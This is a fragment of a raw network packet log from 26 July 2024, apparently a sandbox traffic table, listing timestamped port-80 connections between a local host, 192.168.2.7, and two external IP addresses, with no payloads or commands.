Jul 26, 2024 08:57:55.180762053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180773973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180783987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180794954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181011915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181022882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181034088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181058884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181070089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181082010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181092978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.181286097 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.181401014 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184086084 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184117079 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184138060 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184160948 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184180975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184204102 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184221983 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.184267044 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.268342972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268359900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268369913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268527985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268563986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268572092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268579006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268582106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268593073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268662930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268673897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268685102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268696070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268707991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268718958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268728971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268755913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268768072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268778086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268789053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268812895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268825054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268836021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268878937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268902063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.268913031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269013882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269026041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269036055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269047022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269115925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269133091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269135952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269139051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269145966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269264936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269275904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269287109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269296885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269309044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269411087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269422054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269433022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269443989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269454956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269464970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269475937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269486904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269498110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269537926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269673109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269686937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269757032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269768000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269812107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269834042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269845009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269965887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269977093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.269994974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270004988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270006895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270009995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270015001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270026922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270100117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270112038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270140886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270153046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270163059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270181894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270286083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270298004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270308018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270318985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270328999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270339966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270423889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270435095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270445108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270538092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270550013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270567894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270570040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270576000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270579100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270589113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270600080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270719051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270731926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270828962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270838976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270849943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270860910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270872116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270883083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.270893097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271045923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271059036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271070004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271080971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271167040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271178961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271190882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271202087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271282911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271294117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271307945 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.271363974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271377087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271388054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271399021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.271408081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.275607109 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283102989 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283409119 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283436060 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283463001 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283490896 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283516884 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283550024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283575058 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283600092 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.283651114 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.362951040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.362972975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.362983942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363014936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.363058090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363059044 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.363071918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363084078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363095045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363099098 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.363117933 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.363225937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363235950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363248110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363259077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363270044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363281965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363522053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363533020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363543987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363554001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363564014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363574028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363584995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363595009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363604069 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.363605976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363616943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363627911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363800049 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.363940954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363951921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363962889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363972902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363984108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.363993883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364005089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364013910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364026070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364036083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364062071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364073038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.364388943 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.364419937 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.447925091 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.452935934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.739399910 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:55.739473104 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:55.740519047 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:55.742140055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742151976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742156982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742167950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742177963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742187977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742197990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742233992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742244005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742255926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742265940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742275953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742283106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742292881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742304087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742315054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742326021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742342949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742352009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742377996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742384911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742394924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742404938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742409945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742422104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742430925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742436886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742460012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742475033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742486000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742495060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742506981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742511988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742522955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742533922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742543936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742557049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742567062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742577076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742590904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742616892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742626905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742631912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742639065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742647886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742652893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742657900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742667913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742677927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742687941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742692947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742702961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742712975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742737055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742747068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742757082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742765903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742778063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742786884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742798090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742806911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742816925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742825985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742842913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742872000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742882967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742892027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742902994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742908001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742913961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742923975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742939949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742949963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742959976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742969990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742980003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.742990017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743000984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743184090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743195057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743204117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743215084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743226051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743236065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743246078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743256092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743311882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743321896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743330956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743340969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743350983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743360996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743371010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743380070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743391037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743416071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743427038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743438959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743448973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743454933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743464947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743469954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743479967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743490934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743499994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.743510008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744220018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744230986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744240999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744251966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744261980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744271994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744280100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744290113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744298935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744308949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744458914 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:55.744468927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744478941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744496107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744505882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.744515896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745171070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745189905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745213985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745223999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745234013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745244026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745254993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745264053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745275021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745284081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745294094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745304108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745315075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745325089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745336056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745346069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745356083 CEST	80	49756	85.28.47.31	192.168.2.7
